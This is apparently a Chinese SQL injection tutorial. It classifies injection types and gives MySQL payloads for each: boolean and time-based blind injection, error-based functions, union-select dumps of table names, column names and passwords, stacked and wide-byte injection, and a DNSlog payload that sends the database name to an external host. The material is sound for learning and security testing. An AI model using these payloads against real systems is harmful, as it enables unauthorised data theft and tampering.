SQL注入
1.SQL简介
- SQL 指结构化查询语言
- SQL 使我们有能力访问数据库
- SQL 是一种 ANSI 的标准计算机语言
注:ANSI,美国国家标准化组织
2.注入的形成
目前的web大多是前后端分离,在固定前端页面上,通过不同参数去调用数据中的内容,如果这个过程中我们拼接了恶意语句并且没有被过滤掉,那么数据库很有可能会执行我们的恶意语句,从而导致攻击者可以通过拼接恶意语句来达到操作数据库,获得数据库的敏感信息,产生极大的危害
例子
$sql = 'select * from test where id='.$_GET['id'];
假设这里没有任何的过滤,那么当我们输入2的时候语句为
select * from test where id=2
当我们输入2 and 1=1的时候,发现页面页面正常回显,输入2 and 1=2的时候页面回显不正常
select * from test where id=2 and 1=1 正常
select * from test where id=2 and 1=2 回显不正常
很明显sql的查询语句把我们拼接的代码带入执行了,黑客可以通过拼接别的语句获取更多的信息,从而完成一次注入攻击
3.SQL注入的类型
3.1注入点类型分类
3.1.1数字型注入
当我们访问页面时经常会出现http:xxx.admin.com?id=1这种形式的url,这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常,and 1=2回显不正常的情况。如果出现了我们一般就认为这里存在注入,并且是数字型注入。如果没有出现那么并不能排查这里没有注入,只是排除这里不存在数字型的注入。
数字型注入还可以利用数字的增减操作进行布尔盲注,避免使用and,or 等敏感词
id=3-1
id=1%2b1
3.1.2字符型
http:xxx.admin.com?id=1同样的url,我们输入 ‘ 看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。
select * from table where id='1'
加入’ and 1=1 #
select * from table where id='1' and 1=1 # '
3.1.3搜索型注入
搜索框内会使用这样形式的sql语句进行查询
SELECT*from test where names like '%要查询的关键字%'
我们写入类型这样的语句进行闭合 %’ and 1=1 #
SELECT*from test where names like '%要查询的关键字%' and 1=1 # % '
3.2按照数据提交方式
3.2.1get注入
数据以get的方式进行提交。注入点一般在get提交的url后,可以通过bp抓包进行查找
3.2.2post注入
数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找
3.2.3http头部注入
user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
3.3按照执行效果
3.3.1盲注
- 特点:盲注在于无法构造出回显位时使用
- 优点:优点是适配绝大部分注入点
- 缺点:注入繁琐,费时费力,高频率对服务器发起访问也容易被ban。
- 分类:布尔盲注,时间盲注,dnslog盲注
3.3.1.1布尔盲注
特点:以页面回显的内容的不同作为判定依据。
id=1 and 1=1
id=1 and 1=2
id=1 and user()=‘root@localhost’
id=1 and substr((select user()),1,1)= ‘r’
id=1 and ascii(substr((select
user()),1,1))= 114
3.3.1.2时间盲注
时间盲注,以回显的时间长短作为判断依旧
id=1 and sleep(2)
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)
3.3.1.3dnslog盲注
- 特点:必须windows系统,必须root权限,必须secure_file_priv为空
id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.pk4qft.dnslog.cn\\test')))
3.3.2报错注入
- 特点:经过精心构造的函数,让函数处理user()等不合规定的数据,引发mysql报错。最常用的是updatexml()
- 优点:报错注入优点是注入位置广泛,几乎任何和数据库有关的操作经过sql拼接都可以产生报错注入,有回显位,获取数据方便。
- 缺点:缺点是必须开启错误提示,mysqli_error()
关键函数:
1.floor
id=1 and
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)a);
2.extractvalue()
id=1 and
(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select
user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select *
from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select
* from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select *
from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select *
from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select
* from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select *
from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select
user())a));
3.3.3联合查询
特点:联合注入使用了union select联合查询,常用来拼接在where后面,并且通过报错的方式显示显位
优势:联合注入通过显位的方式可以快速的爆出数据
缺点:缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。并且必须用到union和select两个关键字,并且这两个关键字也很容易被拦截
关键函数:union select、group_concat
http://127.0.0.1/news.php?id=1
http://127.0.0.1/news.php?id=1 order by 4
http://127.0.0.1/news.php?id=-1 union
select 1,2,3,4
http://127.0.0.1/news.php?id=-1 union
select user(),2,3,4
sql语句为
select * from news where id = $id;
确定列数
select * from news where id = 1 order by
4
显示回显位
select * from news where id = -1 union
select 1,2,3,4
通过回显位爆出内容
select * from news where id = -1 union
select user(),2,3,4
进而爆库,表,列,值。
select * from news where id = -1 union
select database(),2,3,4
select * from news where id =
-1 union select group_concat(schema_name),2,3,4 from information_schema.schemata
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(column_name),2,3,4 from information_schema.columns
where table_name= 'user' and table_schema=database()
select * from news where id = -1 union
select group_concat(password),2,3,4 from user
3.3.4堆叠注入
特点:
- 堆叠注入在mysql数据库中并不常见,常见于mssql数据库,mssql数据库是默认堆叠注入的
- 堆叠注入必须要用到mysqli_multi_query()函数,可以使用分号分隔来执行多个语句,相当于可直连数据库
- 堆叠注入的危害性非常的大,通常sql注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
语句
id=1;select user();
3.3.5宽字节注入
特点:
- 字符注入的时候我们需要逃逸单引号,但是php提供了魔术引号开关magic_quotes_gpc和addslashes(),iconv()函数作为防御,特点是自动给传入的参数如单引号,双引号,反斜杠,%00前面加一个反斜杠,进行转义,避免单引号进行逃逸
- 如果数据库是GBK格式而非默认的UTF-8格式,则我们利用两个url编码是一个汉字的特点,组合一个汉字从而解决”\“问题,完成单引号的逃逸
语句
url编码
’ %27
\ %5c
%bf \'=%bf%5c%27=縗'
闭合过程
select * from user where id='$id';
Select * from user where id='1\'and 1=\'1';
Select * from user where id='1縗'and 1=縗'1' ;
注:%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以,只要是可以跟我们的反斜杠%5c能够组成汉字,完成单引号逃逸的都是可以使用的
3.3.6二次注入
特点:sql语句的变量并不是直接传入的变量,而是通过其它的方式保存到了数据库,形成二次注入
例子:
比如注册一个用户名为 admin’ #的用户,注册时并无SQL注入,修改密码时的SQL语句为。
update user set password='$password' where username='admin' #'
导致越权修改了admin的密码。
3.4注入拼接位置
3.4.1where注入
select * from news where id = $id and data < '$data';
select * from news where id = 1 and 1=1 and data < 'test'and 1='1';
delete from user where id =$id;
delete from user where id =1 and 1=1;
3.4.2order by注入
select * from user order by $id;
select * from user order by 1 desc/asc
select * from user order by sleep(2);
select * from user order by rand(1=2);
select * from user order by updatexml(1,concat(0x7e,(select user()),0x7e),1);
3.4.3limit注入
select * from user limit $limit, $size
select * from user limit 1 into @,@,@,@;
select * from user limit 1 into outfile 'D://1.txt';
select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);
select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(mid(user(),1,1)
LIKE 'r', BENCHMARK(5000000,SHA1(1)),1)))),1);
3.4.4values注入
insert into `test`.`log`(`log`) VALUES('$log');
insert into `test`.`log`(`log`) VALUES('testsetset'or sleep(5)) # ');
insert into `test`.`log`(`log`) VALUES('testsetset' and extractvalue(1,concat(0x7e,(select @@version),0x7e))) # ')
insert into `test`.`log`(`log`) VALUES('1'+if((1=1),sleep(2),1)) # ')
参考:
limit实例:https://blog.csdn.net/tian_ci/article/details/85700929
substr实例:https://www.runoob.com/php/func-string-substr.html
count函数:https://www.runoob.com/sql/sql-func-count.html
xtype:https://blog.csdn.net/qq_39654116/article/details/105438947